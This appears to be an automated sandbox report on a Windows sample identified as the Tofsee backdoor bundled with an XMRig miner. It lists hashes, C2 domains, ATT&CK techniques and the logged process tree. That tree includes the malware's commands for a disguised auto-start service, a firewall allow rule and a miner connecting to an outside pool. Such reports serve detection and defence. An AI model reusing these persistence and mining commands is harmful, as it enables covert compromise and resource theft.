Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-04-2023 01:51

General

  • Target

    1cf2f9ca3cc70c2919ba016a0166a95c81e1a09e95aaa5efb74c17e2a211c218.exe

  • Size

    212KB

  • MD5

    8ede678cf734084b01751c5d54f7fba3

  • SHA1

    a706bed4987a37e4ee7367a28c144a57264c292b

  • SHA256

    1cf2f9ca3cc70c2919ba016a0166a95c81e1a09e95aaa5efb74c17e2a211c218

  • SHA512

    a189411e8de914453ed6e96cee2d99395f36caf89f75fd738f53cf62fd827ecd34cee1ad10761db77a99b374d4003645542b446aaec51887d3228da5473b7135

  • SSDEEP

    3072:Q/w2vKhLFzNxTvoecRDZFuxnpxyNmH25p062a3F5+mI7iMD:CWLFzN1y/Ytpt23V2a2J7iM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1cf2f9ca3cc70c2919ba016a0166a95c81e1a09e95aaa5efb74c17e2a211c218.exe
    "C:\Users\Admin\AppData\Local\Temp\1cf2f9ca3cc70c2919ba016a0166a95c81e1a09e95aaa5efb74c17e2a211c218.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4356
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vprwxuw\
      2⤵
        PID:1884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ujbinlqi.exe" C:\Windows\SysWOW64\vprwxuw\
        2⤵
          PID:2608
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vprwxuw binPath= "C:\Windows\SysWOW64\vprwxuw\ujbinlqi.exe /d\"C:\Users\Admin\AppData\Local\Temp\1cf2f9ca3cc70c2919ba016a0166a95c81e1a09e95aaa5efb74c17e2a211c218.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vprwxuw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vprwxuw
          2⤵
          • Launches sc.exe
          PID:268
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3444
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4356 -s 1040
          2⤵
          • Program crash
          PID:4668
      • C:\Windows\SysWOW64\vprwxuw\ujbinlqi.exe
        C:\Windows\SysWOW64\vprwxuw\ujbinlqi.exe /d"C:\Users\Admin\AppData\Local\Temp\1cf2f9ca3cc70c2919ba016a0166a95c81e1a09e95aaa5efb74c17e2a211c218.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3708
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1200
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4616
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3708 -s 220
          2⤵
          • Program crash
          PID:1876
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4356 -ip 4356
        1⤵
          PID:4552
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3708 -ip 3708
          1⤵
            PID:3240

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ujbinlqi.exe
            Filesize

            13.2MB

            MD5

            842492179a6f9b54a772baa9c14df431

            SHA1

            38a3448db99f2c545caf29e35e2ec623405cde29

            SHA256

            58561b59dfb0716f58750dd64b1414ae09eae5a5580a0eae33710d707ce895dd

            SHA512

            19faea53df0c48cd4a101ced856e30819be40612f4e4516c044a6cfae15d3a376ea9dba1a8b7e2b6425aedd360d02a4ddb0dd98742dfd86cfc12ffd551bcbc3f

          • C:\Windows\SysWOW64\vprwxuw\ujbinlqi.exe
            Filesize

            13.2MB

            MD5

            842492179a6f9b54a772baa9c14df431

            SHA1

            38a3448db99f2c545caf29e35e2ec623405cde29

            SHA256

            58561b59dfb0716f58750dd64b1414ae09eae5a5580a0eae33710d707ce895dd

            SHA512

            19faea53df0c48cd4a101ced856e30819be40612f4e4516c044a6cfae15d3a376ea9dba1a8b7e2b6425aedd360d02a4ddb0dd98742dfd86cfc12ffd551bcbc3f

          • memory/1200-173-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-151-0x0000000000A20000-0x0000000000A35000-memory.dmp
            Filesize

            84KB

          • memory/1200-177-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-146-0x0000000000A20000-0x0000000000A35000-memory.dmp
            Filesize

            84KB

          • memory/1200-147-0x0000000000A20000-0x0000000000A35000-memory.dmp
            Filesize

            84KB

          • memory/1200-168-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-149-0x0000000000A20000-0x0000000000A35000-memory.dmp
            Filesize

            84KB

          • memory/1200-171-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-152-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/1200-155-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/1200-156-0x0000000000BF0000-0x0000000000BF6000-memory.dmp
            Filesize

            24KB

          • memory/1200-159-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-172-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-162-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-166-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-165-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-164-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-167-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-170-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-169-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-163-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-174-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-143-0x0000000000A20000-0x0000000000A35000-memory.dmp
            Filesize

            84KB

          • memory/1200-178-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-176-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-175-0x0000000001DA0000-0x0000000001DB0000-memory.dmp
            Filesize

            64KB

          • memory/1200-183-0x0000000007C40000-0x000000000804B000-memory.dmp
            Filesize

            4.0MB

          • memory/1200-182-0x0000000001DD0000-0x0000000001DD5000-memory.dmp
            Filesize

            20KB

          • memory/1200-186-0x0000000007C40000-0x000000000804B000-memory.dmp
            Filesize

            4.0MB

          • memory/1200-179-0x0000000001DD0000-0x0000000001DD5000-memory.dmp
            Filesize

            20KB

          • memory/1200-187-0x0000000001DE0000-0x0000000001DE7000-memory.dmp
            Filesize

            28KB

          • memory/3708-148-0x0000000000400000-0x00000000004A2000-memory.dmp
            Filesize

            648KB

          • memory/4356-142-0x0000000000400000-0x00000000004A2000-memory.dmp
            Filesize

            648KB

          • memory/4356-138-0x0000000000640000-0x0000000000653000-memory.dmp
            Filesize

            76KB

          • memory/4616-191-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4616-196-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4616-197-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4616-198-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4616-199-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4616-200-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4616-201-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4616-202-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB